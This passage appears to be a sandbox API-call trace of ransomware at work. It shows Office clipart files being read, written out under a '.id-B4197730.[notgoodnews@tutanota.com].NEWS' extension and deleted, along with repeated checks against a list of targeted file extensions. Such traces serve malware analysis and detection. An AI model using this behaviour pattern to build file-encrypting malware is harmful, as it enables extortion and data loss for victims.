lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.449] SetEndOfFile (hFile=0x384) returned 1 [0086.449] CloseHandle (hObject=0x384) returned 1 [0086.449] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.449] SetEndOfFile (hFile=0x308) returned 1 [0086.450] CloseHandle (hObject=0x308) returned 1 [0086.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.450] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00435_.wmf")) returned 1 [0086.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0086.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0086.451] lstrlenW (lpString=".doc") returned 4 [0086.451] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.451] lstrlenW (lpString=".docx") returned 5 [0086.451] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.451] lstrlenW (lpString=".pdf") returned 4 [0086.451] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.451] lstrlenW (lpString=".xls") returned 4 [0086.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.451] lstrlenW (lpString=".xlsx") returned 5 [0086.451] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.451] lstrlenW (lpString=".ppt") returned 4 [0086.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0086.451] lstrlenW (lpString=".zip") returned 4 [0086.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.451] lstrlenW (lpString=".rar") returned 4 [0086.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.451] lstrlenW (lpString=".bz2") returned 4 [0086.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.451] lstrlenW (lpString=".7z") returned 3 [0086.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0086.451] lstrlenW (lpString=".dbf") returned 4 [0086.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0086.451] lstrlenW (lpString=".1cd") returned 4 [0086.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0086.451] lstrlenW (lpString=".jpg") returned 4 [0086.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0086.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0086.452] lstrlenW (lpString=".doc") returned 4 [0086.452] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.452] lstrlenW (lpString=".docx") returned 5 [0086.452] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.452] lstrlenW (lpString=".pdf") returned 4 [0086.452] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.452] lstrlenW (lpString=".xls") returned 4 [0086.452] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.452] lstrlenW (lpString=".xlsx") returned 5 [0086.452] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.452] lstrlenW (lpString=".ppt") returned 4 [0086.452] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0086.452] lstrlenW (lpString=".zip") returned 4 [0086.452] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.452] lstrlenW (lpString=".rar") returned 4 [0086.452] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.452] lstrlenW (lpString=".bz2") returned 4 [0086.452] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.452] lstrlenW (lpString=".7z") returned 3 [0086.452] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0086.452] lstrlenW (lpString=".dbf") returned 4 [0086.452] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0086.452] lstrlenW (lpString=".1cd") returned 4 [0086.452] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00435_.WMF") returned 68 [0086.452] lstrlenW (lpString=".jpg") returned 4 [0086.452] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.452] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.453] lstrlenW (lpString="FD00438_.WMF") returned 12 [0086.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.453] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=5098) returned 1 [0086.453] CloseHandle (hObject=0x308) returned 1 [0086.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 0x220 [0086.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.453] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.453] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0086.454] GetLastError () returned 0x0 [0086.454] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x13ea, lpOverlapped=0x0) returned 1 [0086.455] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x13f0, lpOverlapped=0x0) returned 1 [0086.456] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.456] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.456] SetEndOfFile (hFile=0x384) returned 1 [0086.457] CloseHandle (hObject=0x384) returned 1 [0086.457] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.457] SetEndOfFile (hFile=0x308) returned 1 [0086.458] CloseHandle (hObject=0x308) returned 1 [0086.458] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.458] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00438_.wmf")) returned 1 [0086.458] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0086.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0086.459] lstrlenW (lpString=".doc") returned 4 [0086.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.459] lstrlenW (lpString=".docx") returned 5 [0086.459] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.459] lstrlenW (lpString=".pdf") returned 4 [0086.459] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.459] lstrlenW (lpString=".xls") returned 4 [0086.459] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.459] lstrlenW (lpString=".xlsx") returned 5 [0086.459] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.459] lstrlenW (lpString=".ppt") returned 4 [0086.459] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0086.459] lstrlenW (lpString=".zip") returned 4 [0086.459] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.459] lstrlenW (lpString=".rar") returned 4 [0086.459] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.459] lstrlenW (lpString=".bz2") returned 4 [0086.459] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.459] lstrlenW (lpString=".7z") returned 3 [0086.459] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0086.459] lstrlenW (lpString=".dbf") returned 4 [0086.459] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0086.459] lstrlenW (lpString=".1cd") returned 4 [0086.459] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0086.459] lstrlenW (lpString=".jpg") returned 4 [0086.459] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0086.459] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0086.459] lstrlenW (lpString=".doc") returned 4 [0086.459] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.460] lstrlenW (lpString=".docx") returned 5 [0086.460] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.460] lstrlenW (lpString=".pdf") returned 4 [0086.460] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.460] lstrlenW (lpString=".xls") returned 4 [0086.460] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.460] lstrlenW (lpString=".xlsx") returned 5 [0086.460] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.460] lstrlenW (lpString=".ppt") returned 4 [0086.460] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0086.460] lstrlenW (lpString=".zip") returned 4 [0086.460] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.460] lstrlenW (lpString=".rar") returned 4 [0086.460] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.460] lstrlenW (lpString=".bz2") returned 4 [0086.460] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.460] lstrlenW (lpString=".7z") returned 3 [0086.460] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0086.460] lstrlenW (lpString=".dbf") returned 4 [0086.460] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0086.460] lstrlenW (lpString=".1cd") returned 4 [0086.460] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.460] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 68 [0086.460] lstrlenW (lpString=".jpg") returned 4 [0086.460] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.460] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.460] lstrlenW (lpString="FD00455_.WMF") returned 12 [0086.460] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.462] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=8926) returned 1 [0086.462] CloseHandle (hObject=0x308) returned 1 [0086.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x220 [0086.463] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.463] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.463] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0086.463] GetLastError () returned 0x0 [0086.463] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x22de, lpOverlapped=0x0) returned 1 [0086.465] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x22e0, lpOverlapped=0x0) returned 1 [0086.466] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.466] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.466] SetEndOfFile (hFile=0x384) returned 1 [0086.466] CloseHandle (hObject=0x384) returned 1 [0086.466] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.466] SetEndOfFile (hFile=0x308) returned 1 [0086.467] CloseHandle (hObject=0x308) returned 1 [0086.467] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.467] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00455_.wmf")) returned 1 [0086.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0086.467] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0086.467] lstrlenW (lpString=".doc") returned 4 [0086.468] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.468] lstrlenW (lpString=".docx") returned 5 [0086.468] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.468] lstrlenW (lpString=".pdf") returned 4 [0086.468] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.468] lstrlenW (lpString=".xls") returned 4 [0086.468] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.468] lstrlenW (lpString=".xlsx") returned 5 [0086.468] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.468] lstrlenW (lpString=".ppt") returned 4 [0086.468] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0086.468] lstrlenW (lpString=".zip") returned 4 [0086.468] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.468] lstrlenW (lpString=".rar") returned 4 [0086.468] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.468] lstrlenW (lpString=".bz2") returned 4 [0086.468] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.468] lstrlenW (lpString=".7z") returned 3 [0086.468] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0086.468] lstrlenW (lpString=".dbf") returned 4 [0086.468] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0086.468] lstrlenW (lpString=".1cd") returned 4 [0086.468] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0086.468] lstrlenW (lpString=".jpg") returned 4 [0086.468] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0086.468] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0086.468] lstrlenW (lpString=".doc") returned 4 [0086.468] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.468] lstrlenW (lpString=".docx") returned 5 [0086.468] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.468] lstrlenW (lpString=".pdf") returned 4 [0086.469] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.469] lstrlenW (lpString=".xls") returned 4 [0086.469] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.469] lstrlenW (lpString=".xlsx") returned 5 [0086.469] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.469] lstrlenW (lpString=".ppt") returned 4 [0086.469] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0086.469] lstrlenW (lpString=".zip") returned 4 [0086.469] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.469] lstrlenW (lpString=".rar") returned 4 [0086.469] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.469] lstrlenW (lpString=".bz2") returned 4 [0086.469] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.469] lstrlenW (lpString=".7z") returned 3 [0086.469] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0086.469] lstrlenW (lpString=".dbf") returned 4 [0086.469] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0086.469] lstrlenW (lpString=".1cd") returned 4 [0086.469] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.469] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 68 [0086.469] lstrlenW (lpString=".jpg") returned 4 [0086.469] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.469] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.469] lstrlenW (lpString="FD00459_.WMF") returned 12 [0086.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.470] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=17406) returned 1 [0086.470] CloseHandle (hObject=0x308) returned 1 [0086.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x220 [0086.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.470] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.470] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0086.470] GetLastError () returned 0x0 [0086.470] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x43fe, lpOverlapped=0x0) returned 1 [0086.472] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x4400, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x4400, lpOverlapped=0x0) returned 1 [0086.473] ReadFile (in: hFile=0x308, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.473] WriteFile (in: hFile=0x384, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.473] SetEndOfFile (hFile=0x384) returned 1 [0086.474] CloseHandle (hObject=0x384) returned 1 [0086.474] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.474] SetEndOfFile (hFile=0x308) returned 1 [0086.475] CloseHandle (hObject=0x308) returned 1 [0086.475] SetFileAttributesW 